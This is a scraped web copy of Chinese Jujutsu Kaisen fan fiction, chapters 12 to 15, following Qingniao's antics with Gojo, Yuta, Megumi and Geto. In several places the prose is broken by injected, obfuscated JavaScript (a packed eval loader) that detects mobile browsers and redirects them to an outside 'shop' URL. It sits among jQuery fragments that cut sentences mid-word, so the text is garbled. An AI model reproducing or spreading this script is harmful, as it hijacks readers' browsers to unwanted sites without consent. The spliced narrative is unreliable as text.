咒力气息虽然消失了,但人还在自己身侧。并且摆了一个大臂带动小臂,抡圆胳膊的姿势……看起来像是要给他沉痛一击。 五条悟:? 卿鸟收回手,乖巧跪坐在后排座椅上。“老师,你听我狡辩。” 12.第十二章 “好哦,你说。”五条悟单手托腮,一脸认真聆听卿鸟狡辩的模样。随意在腿上拍打节奏的手指像是在恐吓——狡辩的理由不充分会受到随机惩罚。 卿鸟:“……” 不是,你真听啊? 这就是为什么咒术高专的大家晨练结束后,一抬头就看到辍学的前辈卿鸟被无良白毛用无下限当溜溜球玩的壮观景象。 小鸟“飞翔”在空中,于蓝天白云的背景下想象出一排血字,写着五条悟的大名。 高专一年级以及预备生伏黑惠:“……” 是这个世界不够大吗?你们两个一定要玩到高专来吗? 通宵写完报告文件的夜蛾正道揉着酸痛的眼睛推开校长室窗门…… 就见硕大的,有着滴血效果的Gojo Satoru几个字母笼罩着咒术高专的上空,而卿鸟,术式的使用者被五条悟用无下限放到空中当风筝牵着,成为j的一个点。 夜蛾正道额头青筋悄悄暴起,眼皮连颤三下后转身戴上墨镜。管不了,就要学会放过自己。 伊地知原本一整个上午都很疑惑。从五条悟和卿鸟清早同时从公寓出来,再到两人在车后座相对“亲密”的枕肩而眠。但眼下看到此等壮观画面的他,瞬间一点都不疑惑了。 总而言之,谁都可能有八卦和猫腻,五条先生和卿鸟小姐绝对不可能!他们从四年前开始就是冤家! 伊地知扶了扶自己的眼镜,假装淡定,在血色天空下召集一年级学生去教室上课。一日之计在于晨,朝气蓬勃的孩子们不应该仰脖看这些。 五条悟松开飞翔的鸟,后者呈自由落体,精准掉在伏黑惠眼前。 “小惠~”卿鸟踉跄一下。“我想象你现在就领悟十种影法术的终极奥义!打败可恶的五条悟!” 伏黑惠:“……”战术性后退一步。满脸写着你不要过来。 “你后退半步的动作认真的吗?难道你忘了我们曾经一起遛玉犬的日子吗?” “忘了。”海胆头深谙和这对师徒打交道的真理,扭头就走。 “……” 然后被卿鸟想象出来的玉犬一口咬住裤腿。 “给我好好想起来啊喂!” 待五条悟悠哉悠哉走到卿鸟的降落点,空地上没了鸟也没了伏黑惠。 “啊咧,溜那么快。”白毛伸出食指挠挠脸。 伏黑惠晨练时会与一年级前辈们一起,练习结束后偶尔会额外增加晨跑,绕着咒术高专校园外侧。 漂浮在空中的“凶手大名”消失,宁静祥和的蓝天白云重回视线,海胆头少年与不知在打什么鬼主意的卿鸟并肩小跑……身后跟了条术式犬。 怎么说呢,四年前的回忆又开始袭击伏黑惠。五条悟或是卿鸟,都是这样让身边人无语的存在。 “对了,小惠你上次还没有回答我诶,怎么忽然又想做咒术师了?” 伏黑惠长长的眼睫轻眨了一下,眉心微蹙,但他没有回答。不是不愿意说,而是一时间不知道怎么组织语言。尤其是想到津美纪仍然躺在病床上无法醒来的模样。 除非是审问敌人,不然卿鸟也不是打破砂锅问到底的性格,伏黑惠不说,她便也没有再追问。谁都有不愿诉说的心情,都应该被理解和体谅。 于是卿鸟换了一个话题。 “你现在住高专,那津美纪呢?哦对,津美纪是不是读大学了?那应该住校……” 伏黑惠:“……” 少年停下小跑的步伐,喘着气看向卿鸟。他尝试打断卿鸟美好的推论:“津美纪……” “嗯?”敏感的卿鸟察觉到伏黑惠的情绪不太对劲。日常表情臭臭,不然就是不耐烦的少年,居然变得支支吾吾。如今伏黑惠身上的改变,多半也是和津美纪有关。 ……难道津美纪出事了? 卿鸟瞳孔骤缩一瞬。然后兀自摇头,把那瞬间闪过脑海的负面想象抹掉。 “哟呵——” 尴尬间,一个熟悉又欠扁的声音自两人之间响起。 “……” 卿鸟和伏黑惠同时低头。 一只白毛蹲坐在他们中间,头顶一片枯叶,手里拿了两根光秃秃的树枝做掩护。有一种不符年龄的萌感。但介于他逆天的冻龄颜值和做什么事都理所当然的表情……倒也不显得特别违和了。 卿鸟:“……”让你一年三百六十五天分分秒秒开术式!智商都被烧低了! “五条老师,你蹲在这里干嘛?”卿鸟压住了颤抖的眉毛,“耐心”询问。 白毛还举着手里的树枝,脑袋一歪:“这句话应该我问小鸟吧。为什么一大早拐卖我可爱的未来学生?” 伏黑惠:“……”他可以先走一步吗? 想到就要执行,海胆头少年趁曾经的师徒在较劲,转身自己去晨跑。 可惜没跑两步又被五条悟拽回去。 无良教师这一回不是来找卿鸟,而是来找伏黑惠的。他手头正好有个任务适合锻炼这位少年。 凉风过境,热闹的咒术高专外只剩下卿鸟和她想象出来的玉犬。卿鸟蹲下身,摸摸术式犬的脑袋自言自语道:“大家都很忙,我也不能懈怠。” 少女与犬绕着咒术高专外围跑了整整三圈才重新回到校园内。 正遇上犯难的伊地知。 “狗卷同学今天有委派任务,下午的咒术实习乙骨同学没有同伴了。”虽然乙骨忧太的实力根本不需要同伴,但这个节骨眼上让乙骨忧太单独进行实习任务,不知道会不会出什么事。 “这还不简单?”卿鸟擦擦脸上的汗。“我陪忧太去就好啦。” 伊地知:“诶……” 伊地知心说,卿鸟小姐和乙骨同学现在都是高层的眼中钉,也是高层与五条先生关系急速恶化的诱因……凑在一起,更可怕了! 但也只能是心说,他不敢真的说出口。这个世界上,暂时除了五条先生,好像还没有别人敢轻易惹眼前这位卿鸟小姐。 “那就……麻烦卿鸟小姐了。” 贫贱不能移,但威武……总会屈的! --- 学生的咒术实习难度基本不会很大,上一次小学案件只是为了测试祈本里香,才会特意安排那种等级的咒灵。并且由五条悟亲自带队,以防意外。 今天的咒术实习地点位于某位明星的私宅。 卿鸟对这个世界的明星八卦不了解,乙骨忧太也不曾了解这些,但在上一所学校的时候,偶尔会听班级里的同学聊到。 无非就是某某当红明星,买了一间高档公寓养着小情人的事。 “养小情人还能养出咒灵来,简直是个人才。”卿鸟面无表情吐槽。 负责开车与对接的辅助监督:“……”抬手擦汗。小眼睛瞥了一眼身侧正好在家的当红男明星。 俗话说得好,金主爸爸的面子还是要给的。 卿鸟和乙骨忧太掠过那位明星进到卧室,擦身而过的瞬间,卿鸟飞速看了男人一眼。不得不说,单论颜值,还是比那位无良教师逊色不少的。 “……” 想到这里,卿鸟猛地拍了一下自己的额头。声音之大,吓到了前方的乙骨和后方的辅助监督。 “没事没事,不用在意,把一些怪东西赶出脑海而已。” 公寓外布了帐,房间外就没有再单独布帐。男明星表示常在娱乐圈混,什么妖魔鬼怪的八卦和怪事都听多也见多了,无所谓咒灵是什么,他就在客厅等。 这是乙骨忧太第二次接触任务与咒灵,作为咒术师反倒比外面的非术师紧张几分。 黑发少年握紧手里的咒具,推门而入。 卿鸟跟着往里走,几乎是和乙骨差不多时间,一起看到了床头柜上那只头戴蝴蝶结,和玩偶差不多大的咒灵。 乙骨:…… 卿鸟:…… 这房间里发生了什么,怎么会滋生这样的咒灵啊喂! 卿鸟沉痛地抬手遮住乙骨忧太的眼睛。“忧太你……还未成年吧?” 乙骨忧太:“……嗯。” 总而言之,只是一只比蝇头咒灵厉害一点点的,微不足道的小东西。袭击方式不明,又或许外形辣眼睛,让人看了眼睛痛脑袋痛就是它的有效攻击。 乙骨握着咒具靠近床头柜,像切瓜那样轻松将其祓除。 “……”少年皱了皱眉。 卿鸟探头:“怎么了?” “啊……不。没什么。”乙骨在靠近那只咒灵的一瞬间,有种异样的思绪攀上心头,但又说不上来是哪里不对劲。 两人离开卧室。 卿鸟深不可测地看了沙发上的男明星一眼。而后者,像被捉住什么难以启齿的癖好,倏而低下了头,不自然地摆弄手里的手机。 “咒灵已经祓除了。”卿鸟对辅助监督道,“你送忧太回咒术高专,我去别的地方转转。” “好的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050674|131964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 原本举止行为还算正常的乙骨忧太,在卿鸟说出她不准备和他们一起回咒术高专后,忽然原地崩溃。少年拽着卿鸟的手臂,又哭又闹,说什么都要她和自己一起回学校。 卿鸟:? 辅助监督:? 非常熟悉这个流程与操作的男明星扶额。“……香织最近就是这样的……” …… 什么鬼?刚才床头柜上那只咒灵有术式?术式还是个撒娇精粘人怪效果? 卿鸟瞠目结舌。 没有任何伤害的术式袭击很容易被忽略,也很难解,尤其是忧太这种实战经验不足,高攻低仿的新手。 卿鸟尝试想象附着在乙骨身上的术式袭击消失,无果。这样的术式袭击,只能等效果时间过了才能解,一般人或许无所谓,哭闹个一两天也没事…… 但乙骨不同,他的情绪波动会带出背后的特级咒灵。卿鸟长叹一口气,一边安抚身边拽着她不放的少年,一边忌惮祈本里香会不会忽然出现。 辅助监督恨自己的车没有翅膀,不能咻地一下飞回咒术高专,把这烫手的山芋放回去。 五条悟和伏黑惠完成任务返回高专,正要去切磋……不,是五条悟单方面要切磋伏黑惠的体术时,校门口响起一阵凄厉的刹车声。 然后他们看到两个“连体婴儿”从车上走下来。平时与人接触不太自然的乙骨忧太,此刻居然像八爪鱼一样缠着卿鸟。 五条悟:? 伏黑惠:“……”不愿相信那个不太得体的少年是他最近颇为尊敬的学长。 卿鸟被勒得快要不能呼吸:“五条老师!忧太中了很奇怪的术式!” 五条悟沉默三秒。“看出来了。” 各种层面上的,看出来了。 --- 奇怪的术式效果不知道要多久才会消失,以免乙骨做出更多让他清醒后不想做人的事,五条悟用自己特有的方式让少年陷入昏睡中。 随后严厉“批评”了随行人员卿鸟。术式是多样性的,不论是咒术师还是咒灵。她忘记提醒乙骨忧太提前用咒力保护自己,是她作为前辈的失职。 卿鸟垂首,认错诚恳。 “嘛,就罚小鸟烧拉面给老师吃吧。” “……”呵,假公济私! 两人回到那间两室两厅的精装公寓。卿鸟拆了几碗杯面,然后走进厨房准备煎蛋。 五条悟坐在客厅的皮质沙发上,眼前是电视机,偏头就能看到后辈在厨房“忙碌”的背影。微妙的,一点点生活的气息渗透进来。 不过好景不长。男人口袋里的手机忽然震动起来。 五条悟不接都知道,肯定又是临时紧急任务。这些年,他已经习惯自己的闲暇时光会被这样突如其来、煞风景的电话中止了。 “咦?老师你要走?”卿鸟端着才好的晚饭走出厨房。 “嗯,有任务。”五条悟飞快吃完泡好的杯面,又往嘴里丢了两个煎蛋。烫得尝不出味道。 卿鸟点点头。这是咒术师的生活常态,更是五条悟的生活常态。 男人起身离开,经过卿鸟身侧的时候顿了顿步伐,又继续往大门的方向走。卿鸟却在那瞬间,鬼使神差的,大脑不受自己控制的……伸手想去抓住五条悟的衣摆。 然而被无下限拦住了。 卿鸟虽然没能成功抓住五条悟的衣角,但她伸手的动作还是被六眼尽收眼底。五条悟已经走至玄关处,又退回卿鸟身边。 少女的眼神有点茫然。她不知道自己为什么那么不希望这个男人离开。 五条悟:“……”难道? 他扯下蒙住眼睛的绷带一下凑近卿鸟,没有给眼前人反应的时间,仔仔细细将她观察了一番。 果然。 五条悟勾了勾唇角。这家伙也中了术式,只不过她提前用咒力防御了,所以程度轻了很多,几乎不被察觉。 “怎么了?” “嗯,没事。”五条悟不准备告诉卿鸟这个残忍的真相。 他走到玄关处拨通伊地知的电话。卿鸟以为五条悟这下是真的要走了,有点落寞地啃起了杯面和煎蛋。 “嗯,对,过不去。” “找冥冥吧,超出任务金以外的费用我会直接打给她。” 电话对面的人不知问了什么,五条悟握着电话看向坐在餐厅吃面的卿鸟。语气轻快,又有点无奈:“……我这边的‘咒灵’,真是相当棘手呢。” 13.第十三章 卿鸟团了半杯杯面在口中,一抬头,发现本该去往任务地的五条悟又坐到了她的对面。 “……”她的嘴巴塞满了,讲不出话。 那双漂亮的眼睛,眼底瞬间闪过的光亮可能连卿鸟本人都不知道,但被五条悟尽收眼底。 他被这只鸟有意无意忽略大半个月的不爽顷刻消散了几分。 少女两侧腮帮鼓起,圆眼飞速眨巴了几下。看起来智商骤减的样子倒是可爱。卿鸟以前有那么呆吗?五条悟托腮看着她,开始回忆。 好像是有的。尤其是不知道被什么东西扼住命运的喉咙,做出奇怪言行的时候。 这一两分钟内的动态从卿鸟的角度来看,是去而复返的五条悟不知为何坐到她身前,看着她,然后露出一抹奇怪的笑。 “……” 本能的防御机制短暂压过奇怪的撒娇依赖术式攻击,卿鸟悄悄后移了半分。 她伸长脖子吞下口中的杯面。 “老师不是有任务吗?” 五条悟伸出食指摆了一个教师讲课的姿势。“偶尔也要锻炼一下新人嘛。” 卿鸟面不改色喝下一口汤,内心道:也不知道是哪个倒霉的“新人”在今晚被五条悟锻炼了。 当然,这不重要,日常007的男人终于舍得推掉任务,作为曾经的学生和平行世界的同期,卿鸟表示很欣慰。 “那……老师晚上有新的安排?”欣慰是一回事,但以卿鸟对五条悟的了解,他会推掉原来的任务,就表示有另外一个更重要的任务。 五条悟没有回答卿鸟的问题,他拿起手边的筷子趁小鸟走神之际夹走了她盘子里的煎蛋,一口吞下。 “小鸟呢,晚上准备做什么?”因为在咀嚼煎蛋,所以问话声含糊不清。 卿鸟看了一眼自己空空如也的餐盘,眉梢不受控地轻颤了一下:“……”准备让你滚蛋。 “看电影。”这一蛋之仇姑且记下了。 “老师这里有最新款的游戏哦。”五条悟指了指电视柜的方向,那里放着新款游戏机和尚未拆封的游戏卡。 那些游戏卡,卿鸟一进这间公寓就看过了。 “都是对战游戏诶。难道老师要我想象一个小伙伴陪我玩吗?” “啊咧。”五条悟歪头,他指了指自己的脸。“小鸟是故意排挤老师吗?还是觉得和老师打游戏也会输得很惨?虽然是事实啦……” 卿鸟拍了一下自己卡壳的脑袋。 “脚都麻袋——”她伸出尔康手阻拦五条悟自恋的发言。 “五条老师。”卿鸟严肃地喊他。因为口气和表情过于肃穆且认真,五条悟也十分配合地端坐起来。少女一脸你绝对是在逗我吧的表情继续道:“您特地推掉任务,就为了今夜在游戏里虐我?” “bingo~” …… 卿鸟五官皱起。 这个男人绝对坏掉了!他们现在不应该打游戏,而是要去找硝子! 话是那么说…… 十分钟后,卿鸟操控的小人在荧幕里阵亡。和她一起盘腿窝在沙发里的五条悟握着游戏手柄,摆出和荧幕里小人一模一样的胜利的姿势。 卿鸟飞了一记眼刀过去,可凶狠的目光在接触到五条悟得意的眼神后,有些晃神。 “怎么了?”五条悟凑近发呆的卿鸟。 “……没。”卿鸟收回视线,操控游戏手柄准备再开一局。 卿鸟无法确切用言语和身边二十八岁的五条悟描述,看他玩心高涨,并露出和十八岁自己差不多的欠扁模样后……那种又开心,又很想揍他的矛盾心境。 有了第一局的教训,卿鸟这回挑选角色的时候认真研究了一下技能条。 五条悟还是选了上一局的角色,然后坐在一边等她。电视荧幕上闪烁的光芒倒映在卿鸟的眼眸里,亮亮的。她很认真地研究着如何在游戏里暴打五条悟。 「七海先生现在在东京,五条先生那边的咒灵可以交给他负责吗?」 无聊的五条悟忽然想起刚才电话里伊地知的认真发问。 这只“咒灵”,他四年前还真的交给七海负责过。结果就是当他翻阳台进入的时候,看到他们两个家伙一起摔倒在厨房里;当他礼貌按响门铃拜访的时候,发现他们两个一起看电影看到眼眶通红。 嘁。四年前隐约的不爽不料在四年后还能有放大效果。 五条悟托腮扭头。 这只咒灵,只有他可以负责。 “选好了,决一死战吧老师!”对身侧男人情绪波动一无所知的卿鸟斗志昂扬道。 两人进入游戏,五条悟察觉一丝不对劲。卿鸟这回选择的角色攻击性是最强的,缺点是脆皮不耐打,这个角色比上一局还不适合用来与他对战。男人聪明的大脑飞速运转,他的学生不是省油的灯,这样选一定有什么游戏规则外的理由。 果不其然…… 五条悟一抬头,看到三个有丝分裂的贞子,伸手就要抢他的游戏手柄。 “……” 无敌的五条悟有无下限,但游戏手柄没有,卿鸟的术式与五条悟在博弈争抢,另一边,少女快速按着手柄,试图一波流将他带走。 五条悟瞥了一眼自己骤降的血条,主动放弃自己手里的游戏手柄,转手用「苍」去抢卿鸟手里的手柄。不知是意外控不好这样的微小吸引力,还是故意,结局连游戏手柄带卿鸟整个人都被拽了过去。 可怜的手柄夹在二人之间,在术式的冲撞下裂开。卿鸟则堪堪停在距离五条悟一厘米不到的地方动弹不得,因为无下限的阻拦,倒是没有直接撞上五条悟的肩膀。 “离开四年的小鸟果然更坏了诶。” 卿鸟抬首看向五条悟,理不直,气很壮。“谁让老师里里外外都毫无破绽。”只能她自己动手制造破绽了! 欢乐的游戏音效回响在不大不小的空间里,荧幕里的角色在原地停住,亦如游戏外的两人。 两人沉默对视,五条悟能将卿鸟眼底的情绪看清,但后者只能看到没有感情的绷带。遮住六眼的绷带,就像是五条悟整个人竖起的高墙,他可以看穿任何人,但不让旁人轻易靠近他,理解他。 或许他想过,但因为这些枷锁,所以不能够。 卿鸟看着白毛轻眨了一下眼。 一些被压下的,又或是尚未厘清的情绪忽然起伏不定,她被自己骤然冒出的念头吓了一跳,下意识避开了对视的目光。 五条悟:“……” 如果他现在关闭无下限,眼前这只炸毛小鸟就会结结实实落进他的怀里。 欢乐的游戏背景音乐此刻听来,就像是在嘲讽这两个不够坦诚的家伙。 “看电影吧。” “好。” --- 客厅的灯暗下去,卿鸟随机抽了一张蓝光碟。 一抽一个《招魂2》。 “……”五条悟伸手挠挠脸颊。严格来说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128124|131964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,放在柜子里的碟片都是他买的,卿鸟随机抽到这张,他也有一半责任。 …… “小鸟真的很爱看鬼片。”五条悟还是没能忍住,开口吐槽。 “嗯。”不过这个吐槽,某种层面上来说是事实。卿鸟拆开放在茶几上的薯片,随口解释。“鬼片看多了,睁眼看到讨厌的家伙,可以安慰自己‘至少还是个人不是鬼’。” 五条悟呼吸一滞。 他不知道卿鸟口中讨厌的家伙是谁,但本能的,他又开始脑补五六岁的小鸟一个人蹲在角落里瑟瑟发抖,身边站着看起来是人,但实际比鬼还可怕的成年男人。 卿鸟津津有味地吃着薯片看鬼片,看起来专注又投入。也只是看起来而已,方才在脑中一闪而过的念头还在持续干扰她。 皮质沙发不算非常宽敞,两人并肩而坐,中间只相隔不到两厘米。 五条悟扫了一眼两人手臂与手臂之间的缝隙,心说:中了奇怪术式,并且专心看电影的卿鸟,应该不会再分神想出什么恶整他的事了吧? 白毛不动声色地解除了无下限。他伸手去够薯片的时候,顺便往卿鸟的方向移动了一下。 两人的衣服布料蹭到一起。 电视里传出恐怖电影特有的恐怖音效。不出意外,马上就要出意外了。 “老师。” 恐怖音效中,卿鸟开口。 居然在这种时候喊老师叠加buff,五条悟强忍住开启无下限自我防御的条件反射。“嗯?” “那个久别重逢的拥抱,现在做吧。” 五条悟怎么都没想到自己的叛逆学生会在这一刻说出这样的话,但还是在她转身靠近他的瞬间,张开双臂拥她入怀。沙发的中间凹陷下去,像是快要顶不住两个人的重量。 荧幕里传出一阵又一阵的凄厉惨叫声。 荧幕外,两人贴近的心跳声吵得不像话,鼓膜都隐隐胀痛。 没有无下限的隔阂,少女的气味与咒力气息变得更为清晰。清晰地诅咒着男人不愿触碰的那一方寸土。 “可惜没能在小鸟四五岁的时候发现你。” 卿鸟没有听懂五条悟的画外音,所以惯性吐槽:“……老师要从四岁开始蹂躏我吗。” 五条悟:“……”也是。十来岁的他不见得会“善待”这只鸟。 贴近的拥抱像一种慢性毒素,渗透意识,软化心境,滋生贪念。五条悟撩起一缕栗发缠在指尖转圈。 卿鸟指尖摩挲五条悟教师服的外衣,质感和校服差不多。一闪而过,想要抱住男人的念头和冲动得到满足,她的意识逐渐回笼并清晰起来。 “……” 然后深刻意识到身前是没有开启无下限的五条悟。 “……” 荧幕的主角又一次尖叫起来。五条悟如被电闪雷鸣般骤然从沙发上站起身。 真的假的? 仍旧跪坐在沙发上的卿鸟看着“恩师”歪头一笑。 五条悟:! 这只鸟居然趁机用术式暗算他! 后来很长一段时间,咒术界都传着一段“佳话”,那便是五条悟深夜绕着东京奔跑的壮举。得知消息的伊地知还以为五条悟是为了追踪那只所谓“很麻烦”的咒灵,十分敬重地发了条短信给他。 「五条先生辛苦了!」 握着手机的五条悟嘴角一抽。 卿鸟那句话怎么说的来着? 不辛苦,命苦。 14.第十四章 五条悟夜跑东京之后,很长一段时间内都奔波在外,接连不断的任务有意无意将他支离这座城。 卿鸟的任务倒基本都在东京,最远也不过神奈川附近。没有任务的时候她偶尔会去找麻生学姐玩,或看心情逗逗盘星教的家伙,再抽空骚扰一下总监会的爪牙……但更多时候还是留在咒术高专找那些一年级生“玩”,结果不小心惹出里香两次。 总而言之,忙得不亦乐乎。 这导致五条悟在任务途中不止一次收到旁人对卿鸟的诉状。 “毕竟是小鸟嘛~”男人事不关己高高挂起,偏袒之心也毫不隐藏。 电话那头传来里香在高专内引起暴动的声响,有熊猫的制止声,有狗卷棘的控场咒言。当然,最清晰的还属罪魁祸首慷慨激昂的招呼声。 “早啊里香酱!来陪忧太晨跑吗?” “……” 电话对面的沉默震耳欲聋,电话这头的五条悟笑得极其浮夸。 伊地知收起手机,与身侧的夜蛾正道同时长叹一口气。 伏黑惠独自训练召唤式神,结束后碰巧路过“学校大危机”。昨天才学到十种影法术有哪些式神的熊猫福至心灵,忽然飘出一句:“把八握剑异戒神将魔虚罗召唤出来吧小惠。” 伏黑惠:“……” 就让暴风雨刮得再猛烈些吧! 夜蛾正道抬手就想给趁机捣乱的panda一记头槌,复又把手放下。 五条悟笑着挂了电话,不一会儿收到一条到账短信。他疑惑一瞬,倒也没在意,任务金报酬这些他从来不细查。 但紧接着,五条悟又收到一条信息。发件人是刚才还在电话对面胡闹的鸟。 「老师,房租转你啦!」 “……” 男人原本上扬的唇角骤然落下。 辅助监督买了矿泉水回来,就见最强六眼一声不吭坐在车后排,气压有点低。 “啊咧,五条先生……生气了?”他推推身边的同事小声道。 “毕竟一上午接了三个投诉前学生的电话,多少是生气了吧。” 两人面色凝重,点点头,为远在东京的卿鸟捏了把冷汗。惹怒五条悟,后果很严重啊! --- 总而言之,卿鸟被夜蛾正道轰出了咒术高专。 “粗鲁,太粗鲁。” 闹了一上午的卿鸟独自走在东京街头,咂咂嘴小声批评校长赶她走的行为。一小时前一群咒骸团团围住她,抬起来,再丢出去的动作实在是……太粗鲁! 渡边学长近期和狗卷学长合作开了家小道馆,术师非术师都可以去那里学习体术——非术师更喜欢用跆拳道、截拳道这样的名词来称呼。暂时没有任何计划的卿鸟决定溜达去那里,顺便和学长切磋一下。 岂料她拐过一个路口,与一只浮游咒灵打了个照面。 这只咒灵她很熟悉,四年前狐狸教主邀她“乘坐”过,四年间在平行世界,少年杰也不止一次在任务中使用过。 咒灵瞪着卿鸟。 “狐狸教主就这样让你飞过来,不怕我当场祓除你吗?”卿鸟小声嘀咕。 咒灵眨巴了一下眼睛。听不懂。它虽然很好用,但只是一只低级咒灵。 …… 卿鸟翻身坐上浮游咒灵。岂料才见到咒灵的主人,对方就用相同的话术反问她:“啊咧,就这样跟过来,不怕我杀了你吗?” 夏油杰站在远离非术师的大厦顶楼,两手没入宽大的袖口,他看着卿鸟笑眼一弯。 “杀我留下那么重的咒力残秽,你怕不是脑袋被驴踢了。”卿鸟轻盈一跳,在楼顶站定脚步。站稳后倏而抬头看向夏油杰:“对了,教主大人知道什么叫脑袋被驴踢了吗?我可以演示给你看!” “……”夏油杰眉头轻颤一下。“不必了。” 卿鸟走至夏油杰身侧,垂眸便是车水马龙,忙碌的城市,恍然间有一种把世间万物踩在脚下的错觉。 “这个位置,不知道曾经有多少非术师想要结束生命,又或是真的那样做了。” 夏油杰没有回话,他收起浮游咒灵,又放了另外一只咒灵出来。 卿鸟几乎是立刻理解了男人的意思。“刚在这里收的?” “嗯。” 这里虽然远离城市喧嚣,却是负面情绪堆积最厉害的地方之一。 两人同时沉默了一瞬。意识回笼,卿鸟想起身侧是那个已经杀了村民与父母走上不归路的男人,不是平行世界那位和自己一起进行任务,强大有可靠的同期少年。 相同的咒力气息总让人在无意识中卸下防备。毕竟他曾经是那样好的同伴。 卿鸟飞了一记眼刀。“教主大人找我什么事?” “这句话应该我问吧。”夏油杰伸手挠挠脸颊,“最近为什么频繁骚扰我的家人们?” 嚯,原来是替那些被她逗弄过的盘星教家人讨说法来了,还真是个好教主。 卿鸟假装没听懂,一脸纯真无辜:“嗯?” 夏油杰:“……”居然在这种时候装傻吗?平时不是很勇敢承认的吗? “饭点了诶教主大人。既然是你有事找我……” 夏油杰:“……”可以,居然还要敲诈。 东京今年开年以来人气最高,客流最大的美食街。夏油杰以及卿鸟被乌泱泱一群非术师围住,从左边挤到右边,再从右边挤到左边。 狐狸教主额头青筋暴起,他很想此时此刻放出咒灵踏平这条街。 “其实我可以假装善解人意选择一个人烟稀少的小饭馆,让教主大人你不那么难受。”卿鸟的声音淹没在人群中,断断续续,但能听清。“但是我转念一想,那样做的话我憋屈,你也不见得会开心。” “但拉你来这个地方就不一样了!看你被非术师们围住气急败坏的样子,我相当快乐!两个人中间,至少要有一个人真心快乐,你说是吧?” 夏油杰:“…………” 你这个人最大的问题就是过于快乐。 两人总算在一个串串摊坐下,夏油杰对吃的无所谓,于是卿鸟按照自己的口味点了两份。 “所以,你最近‘控制’盘星教的大家替你找什么?” “一个脑子和一个千年诅咒。我描述的应该很详细了诶。” 夏油杰眉梢轻挑,使唤他的家人,她竟然还理直气壮。 “悟也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏油杰又想起荒村的经历。 这个卿鸟果然是在试探自己会不会救她! 穿着五条袈裟的男人离开满是非术师的“肮脏”之地,末了,他回头望向刚才和卿鸟坐过的串串摊。过了饭点,人流比方才少一些。狭长的狐狸眼将那里的人仔细打量了一番。 难道是他的错觉? 总觉得刚才好像有双眼一直看着他……准确地说,是看着悟的学生。 --- 一整个中午气压都很低的五条悟收到叛逆后辈的信息。一张串串的配图和一段话。 「这里的丸子酱不错!」 没等五条悟打字回复,伊地知的名字再度于手机屏上亮起。 嗯?五条悟疑惑接电话。那只鸟总不能吃串串也惹事? “莫西莫西。” “五条先生,今天中午十二点四十分,「窗」检测到一级咒术师卿鸟与特级诅咒师夏油杰在新宿美食街同时出现。有摄像和照片为证,现在总监会应该也得到了消息。” …… 卿鸟这次回归后对夏油杰的态度,其实连五条悟也云里雾里。不过这不重要,她可能纯粹就是玩得高兴。 “嘛,虽然不知道小鸟为什么要和那个家伙一起吃午饭。在我回东京之前,还‘请’总监会不要打扰她哦。” 日常用词犀利的五条悟这次居然用了敬语,还说了“请”。伊地知握着手机,感觉东京的天都要塌了。 15.第十五章 时光流转,一眨眼便到了每年例行的姐妹校交流会时间。可怜的一年级生们这才恍然大悟,为什么卿鸟“前辈”要百般折腾他们。 因为今年的交流会地点在京都,也就是说,去年的东京校输给了京都校。 胜负第一友谊再议的鸟无法接受这个惨痛的事实。 五条悟结束手中的任务,选择直接去京都与大家汇合。介于卿鸟和夏油杰十分不低调的接触,他没有多做思考,指挥卿鸟和学生们一起去京都。 直接在他眼皮底下作恶多端,总好过事情忽然失控。 “……” 嗯。让卿鸟一起去是因为他接投诉电话接到耳朵起茧了,绝对不是因为很长时间没见到她了。 “老师?” 卿鸟窝在公寓的皮质沙发中与五条悟通话,岂料接起电话对面的男人却沉默了。 “嗯。” 抵达京都的五条悟没有回家也没有住进京都校的宿舍,而是就近找了酒店。 修长的身影站在落地窗旁,绷带后的目光俯视这座现代化与传统文化并存的都市。 一半的霓虹与一半的幽深静谧。 “小鸟明天和大家一起来京都。” “那必须!” 五条悟:? “居然趁前辈不在的时候输给了京都校,老师你太松懈了!” 五条悟:“……”啊,想起来了,这只鸟意外对胜负很在意。去年的交流会他甚至都不在国内,也不知道怎么输的。 五条悟坐到一边的单人沙发里,单手拧开矿泉水瓶盖。他顺着卿鸟的话逗她:“哦呀,看来前辈这次胜券在握。” “嘿~这两天我教了里香一招必杀技。” 居然说什么教里香必杀技,里香出来就是绝杀了吧。五条悟想起那日电话对面的“暴/乱”声,原来是那么回事。 “必杀技那种东西不应该教忧太吗?” “忧太这孩子太仁慈,交流会是战场啊老师。” 男人扬了扬眉。这句话倘若被夜蛾听到,校长大人不知道会有多“快乐”。五条悟看着窗外的京都夜景弯唇一笑。 他已经开始期待后天的交流会以及京都校那群老家伙的表情了。 “明天几点到?” 交流会在后天,按照习惯,参会人员都是要提前一天抵达适应环境并好好休息的。 “他们上午就能到了吧,伊地知先生这次定的车票很早。” “他们?” 卿鸟看着眼前漆黑一片没有开启的电视机屏幕,痛心疾首道:“夜蛾校长这两天禁止我和忧太见面,明天我先接个任务,傍晚再去京都。” …… 虽然但是,毕竟是教会祈本里香必杀技的女人,被夜蛾拉黑也是情理之中吧。 两人挂了电话,彼此的世界一瞬间寂静下来。 卿鸟抱膝坐在客厅沙发上——刚好是两周前和五条悟手臂贴手臂坐的位置,只不过此刻偌大的空间,只有她一个人。 